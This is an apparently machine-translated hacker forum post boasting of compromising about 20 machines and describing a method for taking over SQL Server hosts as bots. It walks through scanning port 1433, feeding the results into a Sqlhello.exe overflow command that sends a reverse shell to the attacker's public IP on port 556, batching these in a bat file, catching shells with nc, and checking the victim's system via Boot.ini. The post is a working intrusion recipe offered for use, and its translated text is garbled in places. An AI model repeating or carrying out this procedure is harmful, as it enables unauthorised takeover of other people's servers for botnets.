A new method of SQL Server overflow for chicken hunting

server| Broiler

I got nearly 20 chickens in this way today. Oh!!

Use a few tools!!

Nc.exe

Sqlhello.exe

Agent Hunter!!

First, use the agent hunter to sweep port 1433! This should be all right. Playing QB can be said to be ... Oh.

Sweep to finish after finishing. Export. Replace with overflow format!! Like I swept it.

192.168.0.1:1433

The overflow format is: Sqlhello.exe 192.168.0.1 1433 native IP (public network) 556

Save as a bat file.

First listen to a port on a public network like 556.

Now run that BAT file!

Oh!! Looked at whether the shell returned.

I tried to return one in less than two minutes.

This time you first CTRL + C stop the operation of the bat.

Check it out. The Shell's system, anyway!

Type C:\Boot.ini

If it's a 2003 server version.

Oh..

It's going to be our broiler soon!